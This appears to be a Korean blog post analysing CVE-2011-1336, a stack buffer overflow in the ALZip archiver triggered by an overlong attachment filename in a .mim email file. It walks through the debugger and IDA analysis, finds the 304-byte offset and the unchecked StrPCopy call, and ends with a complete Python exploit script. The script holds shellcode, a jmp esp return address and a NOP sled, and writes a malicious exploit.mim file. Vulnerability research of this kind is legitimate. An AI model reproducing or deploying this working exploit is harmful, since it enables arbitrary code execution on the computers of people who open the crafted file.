CVE Details :
https://www.cvedetails.com/cve/CVE-2011-1336/
개요
알집 8.21 이하 버전에서 mim파일을 여는 경우 버퍼 오버플로우가 발생.
mim파일이란?
Multipurpose Internet Mail Extension files으로 즉 이메일 메세지 파일입니다.
인터넷 상에서 흔히 MIME이라고 불리는 것과 동일한 구조를 가지고 있습니다.
해당 파일에는 이메일 내용과 첨부파일들이 포함되어있습니다.
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=frontier
This is a message with multiple parts in MIME format.
--frontier
Content-Type: text/plain
This is the body of the message.
--frontier
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
PGh0bWw+CiAgPGhlYWQ+CiAgPC9oZWFkPgogIDxib2R5PgogICAgPHA+VGhpcyBpcyB0aGUg
Ym9keSBvZiB0aGUgbWVzc2FnZS48L3A+CiAgPC9ib2R5Pgo8L2h0bWw+Cg==
--frontier--
위키 백과 MIME: https://en.wikipedia.org/wiki/MIME
위와 같이 MIME형식의 내용을 작성한 뒤, 파일의 확장자를 mim으로 변경하면 알집으로 열 수 있습니다.
취약점 탐색
mime에서 첨부파일을 파일의 이름을 아래와 같은 형식으로 지정할 수 있습니다.
Content-Disposition: attachment; filename=genome.jpeg;
modification-date="Wed, 12 Feb 1997 16:29:51 -0500";
파일이름의 길이가 제한되어있는지 A 500개 가량을 파일이름으로 지정해봅니다.
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=frontier
This is a message with multiple parts in MIME format.
--frontier
Content-Type: text/plain
This is the body of the message.
--frontier
Content-Disposition: attachment; filename=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.jpeg;
Content-Transfer-Encoding: base64
PGh0bWw+CiAgPGhlYWQ+CiAgPC9oZWFkPgogIDxib2R5PgogICAgPHA+VGhpcyBpcyB0aGUg
Ym9keSBvZiB0aGUgbWVzc2FnZS48L3A+CiAgPC9ib2R5Pgo8L2h0bWw+Cg==
--frontier--
파일을 알집으로 실행해보면, crash가 발생하는 것을 확인할 수 있습니다.
취약점 분석
알집을 windbg로 실행 한 뒤, crash.mim파일을 열어보면 eip가 41414141로 변조된 것을 볼 수 있습니다.
현재 콜스택이 입력했던 A 들로 덮혀 있기 때문에, 어디서 crash가 발생했는지 확인할 수 없습니다.
mona pattern_create 500을 이용해서 ret까지의 offset을 구해서 ret까지만 조작해보겠습니다.
(패턴을 이용해서 offset을 구하는 것은 생략하겠습니다.)
확인한 결과 offset은 304였습니다. 따라서 A304개와 B4개를 입력해서 ret을 42424242로 조작한 뒤 콜스택을 보겠습니다.
0x38c7800은 스택의 주소니 제외하면 0x613837b6에서 호출된 것을 볼 수 있습니다.
windbg를 재 실행해 0x613837b6에 브레이크 포인트를 걸고 eip가 42424242로 변조되기 직전의 명령을 확인합니다.
call 61384d70을 수행한 뒤 42424242로 eip가 조작된 것을 보니 call한 함수를 진행하다 오버플로우가 발생하여 ret이 42424242로 덮힌것이라 판단할 수 있습니다.
다시 windbg를 실행하여 0x61384d70에 브레이크 포인트를 걸고 확인합니다.
이번엔 0x613a5a68을 call한 뒤 eip가 변조되었는데 해당 함수 내에서 오버플로우가 발생했다고 생각할 수 있습니다.
61300000 61488000 LibETC (export symbols) C:\Program Files (x86)\ESTsoft\ALZip\LibETC.dll
해당 함수를 자세하게 알아보기 위해 IDA를 이용해 해당 주소를 가지고 있는 dll인 LibETC를 열어줍니다.
수행하는 함수들중 StrPCopy라는 함수가 눈에 띄었는데 검색해보니 strcpy과 같은 역할을 하는 함수였습니다.
StrPCopy:
https://www.freepascal.org/docs-html/rtl/sysutils/strpcopy.html
해당함수는 주어진 string의 크기를 확인하지 않고 null을 만날때 까지 dest에 복사 하기 때문에, 오버플로우가 발생한 것입니다.
더 정확히 알아보기 위해 함수의 인자들을 확인해보겠습니다.
0x268f574 스택주소로 우리가 입력한 파일이름 정보가 복사되는 것을 볼 수 있습니다.
인자를 보면 char *이 dest에 해당되는게 var_12c즉 ebp-0x12c에 저장되는 것을 의미합니다. 0x12c는 300으로 sfp의 4바이트를 추가하면 이전에 구했던 304의 offset이 맞다는 것을 확인할 수 있습니다.
Exploit작성
stack cookie가 존재하지 않고 스택에 execute권한도 있기 때문에 쉘코드를 스택에 올려 jmp esp를 수행하면 됩니다.
!py mona jmp -r esp
mona를 이용해서 jmp esp명령을 찾아줍니다. 이때 null이 없는 주소를 택해야 합니다.
StrPCopy가 null을 만나면 복사를 끝내기 때문입니다.
shellcode = '\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd'
jmpesp = '\x0b\x4c\x33\x61'
nop = '\x90'*16
dummy = 'A'*304
payload = dummy + jmpesp + nop + shellcode
print payload
content = '''MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=frontier
This is a message with multiple parts in MIME format.
--frontier
Content-Type: text/plain
This is the body of the message.
--frontier
Content-Type: APPLICATION/octet-stream;
Content-Disposition: attachment; filename="%s.png"
Content-Transfer-Encoding: base64
PGh0bWw+CiAgPGhlYWQ+CiAgPC9oZWFkPgogIDxib2R5PgogICAgPHA+VGhpcyBpcyB0aGUg
Ym9keSBvZiB0aGUgbWVzc2FnZS48L3A+CiAgPC9ib2R5Pgo8L2h0bWw+Cg==
--frontier--''' % (payload)
f = open('exploit.mim', 'w')
f.write(content)
f.close()
'Security > Windows Exploit' 카테고리의 다른 글
[CVE-2018-10027] 알집 load malicious DLL 취약점 분석 (0) | 2020.08.21 |
---|---|
Notepad++ 7.6.2 xml buffer overflow 분석 (0) | 2020.07.23 |
아드레날린 2.2.5.3 플레이리스트 파일 wvx overflow 취약점 one day exploit 분석 (0) | 2020.07.14 |